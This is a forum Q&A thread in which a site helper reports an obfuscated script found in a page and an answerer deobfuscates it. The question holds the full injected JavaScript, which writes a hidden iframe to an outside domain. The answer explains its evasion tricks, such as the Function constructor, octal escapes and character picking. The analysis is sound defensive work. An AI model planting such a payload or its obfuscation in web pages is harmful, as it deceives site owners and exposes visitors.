Michele C
Michele C

Reputation: 145

Weird javascript appeared in a page

This script appeared in the index.php page of a website I help with:

<script type="text/javascript">$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+$.__+".\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"('<"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+$.__+"\"+$.__$+$.$$$+$.__$+(![]+"")[$._$_]+$.$$$_+"=\\"\"+$.__$+$.$$_+$.$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$_$+$.__$+$.$_$$+"\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+$.__+"\"+$.__$+$.$$$+$.__$+":\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+";\\"><\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$$_+$._$_+$.$$__+"=\\"\"+$.__$+$.$_$+$.___+$.__+$.__+"\"+$.__$+$.$$_+$.___+"://"+$.$$$$+"\"+$.__$+$.$$_+$._$_+".\"+$.__$+$.$__+$.$$$+$.$$$_+$._$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"\"+$.__$+$.$_$+$._$$+$._$+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.$$_+$.$$_$+$.$$_$+"\"+$.__$+$.$$_+$._$$+"."+$.$$__+$._$+"\"+$.__$+$.$_$+$.$_$+"/"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$_+$.$$$_+$.$$__+$.__+".\"+$.__$+$.$$_+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$$_+$.___+"?\"+$.__$+$.$$_+$.___+$.$_$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"="+$.$__+$._$$+$.$$$$+$.$$_$+$.$$_$+$.$__$+$.$__+$.$$__+$.__$+$.$$_+$.$$$_+$._$_+$.$$_+$.$__+$.$$$+$.$$_$+"\\"\"+$.$__+$.___+"\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.__+"\"+$.__$+$.$_$+$.___+"=\\""+$.$__+$.$$_+$.$___+"\\"\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+$.$$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.___+$.__+"=\\""+$.$$_+$.___+"\\"\"+$.$__+$.___+$.$_$_+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.$$_+"=\\""+(![]+"")[$._$_]+$.$$$_+$.$$$$+$.__+"\\">\"+$.__$+$.___+$._$$+$._$+$._+"\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\"+$.__$+$.$$_+$._$_+"</\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"></"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+">');"+"\"")())();
</script>

The only thing it seems to do is return an error when you try to open the page. I just removed it and everything works fine again, but we have no idea how it got there, and if it was supposed to actually do something possibly harmful. The website is hosted on aruba and both of the people who have access to the code haven't worked on this page at all lately.

Upvotes: 2

Views: 1059

Answers (2)

Phil H
Phil H

Reputation: 20131

So now it's a puzzle.

Pretty printing the code, it has 4 stages:

  1. Declare $
  2. Construct a dictionary using the current value of $, and then assign that to $ again
  3. Set a couple of additional key/value pairs in the dictionary using other values from the dictionary
  4. Construct an immediately called nested pair of function calls

The $ declaration is, like everything here, a bit odd:

$=~[];

In a Chrome console, this returns -1; evaluated in a numerical context, [] becomes 0, and ~ (the bitwise NOT operator in javascript) on 0 yields -1. So we have a variable assigned to -1. Unobfuscate!

v = -1;

Then a dictionary is constructed, with an unobfuscation:

$={ ___ : ++$,              dct={ zero  : 0,
  $$$$  : (![] + "")[$],          f     : "f",
  __$   : ++$,                    one   : 1,
  $_$_  : (![] + "")[$],          a     : "a",
  _$_   : ++$,                    two   : 2,
  $_$$  : ({} + "")[$],           b     : "b",
  $$_$  : ($[$] + "")[$],         d     : "d",
  _$$   : ++$,                    three : 3,
  $$$_  : (!"" + "")[$],          e     : "e",
  $__   : ++$,                    four  : 4,
  $_$   : ++$,                    five  : 5,
  $$__  : ({} + "")[$],           c     : "c",
  $$_   : ++$,                    six   : 6,
  $$$   : ++$,                    seven : 7,
  $___  : ++$,                    eight : 8,
  $__$  : ++$                     nine  : 9
  };                            };

So we have a dictionary with some values in it from 0 to 9, and the letters a to f. Anyone smell hex? The method to get the letters is to pick out substrings from predictable js-generated strings; a falsy value plus "" gives "false", for "a", "e" and "f". {}+"" gives [object Object], for b and c, and undefined yields the d.

Next it constructs the $_ (we'll call it alpha) element of the dictionary ($.$_) as a concatenation of a series of strings (unobf names as defined so far, plus _$ becomes beta, $$ gamma, __ delta, $ epsilon, _ phi):

(dct.alpha = dct + "")[dct.five]    // dct.alpha = "[object Object]", yields "c"
(dct.beta  = dct.alpha[dct.one])    // dct.beta="o", yields "o"
(dct.gamma = (dct.epsilon + "")[dct.one]) // dct.gamma="n", "n"
((!dct) + "")[dct.three]            // "s"
(dct.delta = dct.alpha[dct.six])    // dct.delta="t", "t"
(dct.epsilon= (!"" + "")[dct.one])  // dct.epsilon="r", "r"
(dct.phi   = (!"" + "")[dct.two])   // dct.phi = "u", "u"
dct.alpha[dct.5]                    // "c"
dct.delta                           // "t"
dct.beta                            // "o"
dct.epsilon                         // "r"

So all of this sets dct.alpha ($.$_) to "constructor". Ominous. Similar setup for $.$$ (which we're calling gamma), which sets it to "return". The clouds thicken.

Another reassignment, this time for $.$ (our dct.epsilon), sets it to

dct.epsilon = (dct.zero)[dct.alpha][dct.alpha]

This is more than just an array lookup. dct.zero is 0, so (0)["constructor"] is looking up the "constructor" property of 0. Remember that in javascript a["b"] is the same as a.b, so (0)["constructor"]["constructor"] is 0.constructor.constructor. The constructor of 0 is the Number function, and the constructor of the Number function is the Function function. This function (pointer) is then assigned to dct.epsilon. The worm has turned.

The final statement is a nested function call to $.$$:

dct.epsilon(                  Function(
  dct.epsilon(                  Function(
    //long concatenation            // something functiony
  )()                           )()
)();                          )()

The long concatenation will be passed to the function constructor and then immediately executed. The returned function from this function will also then be immediately executed.

In effect, everything we've seen so far is scaffolding. Almost any function could be constructed this way, although we have an idea of the letters that will be used. I would hazard a guess that the above is a generic obfuscation that can hold whatever payload is desired.

The string that is constructed character-by-characeter is:

return "docu\155e\156t.\167\162\151te('<d \151 ... // continues

So we can see that there are escaped sequences there. In fact, the return tells us that the whole docu... string will be helpfully unescaped and then returned wholesale, ready for the outer call to call it.

So the outer call will recieve this now unescaped string (formatting and splitting the string for readability):

document.write( '' + ''+ 'Counter'+ ''+ '' );

Where I've put 'HEXYHEXY' instead of the hex string that was there - it would presumaby link your site or perhaps the virus author to this page, which we don't really want. The domain in the iframe src might be connected to the virus author, or it might be just another compromised page; a worm could presumably use one host to direct another via this virus as an intermediary. My guess is that it just drives fake page impressions - every time your page is hit, so is the target page, but no-one sees the advert etc because of the hidden div container. The 'Counter' bit is just an attempt to hide the secret in plain sight; if you looked at the browser's representation of the page, all you see is an innocent-looking Counter iframe.

Some javascript tricks to avoid

The virus author has a few tricks here to evade simple methods of finding such scripts:

  1. Using ASCII escaping, e.g. \155 becomes 'm', so the letter is never in a plain string.
  2. Passing a string to the Function function to construct an arbitrary function instead of using eval
  3. Using substrings of predictable auto-generated strings (![]+"")[3] = "false"[3] = "s" to pick out individual characters without putting them in plain strings
  4. Endless use and reuse of variables with $ and _ in the name to confuse a human reader
  5. Use of variables in dictionary declaration to make it hard to see static values without executing the code.
  6. The assignment return; (a=b) returns the value of a, so (a=b)[3] returns a substring on the value of the assignment, whilst also making the assignment
  7. Throwaway reassignment of variables within a larger assignment, e.g. a = {(a=3):"b",++a:"c"}

All of these are things that are a very bad idea in normal code, for the very reason they are here: they make the code hard to read or understand.

Upvotes: 6

rid
rid

Reputation: 63442

It's likely a virus. These kinds of viruses work by infecting a host machine (which is almost always Windows), then copying themselves in any HTML files they can find. When you then open a connection to the server, the "infected" HTML files get copied over and in the end, you end up inadvertently infecting or causing harm to your visitors.

Keep your anti-virus up to date.

Upvotes: 2

Related Questions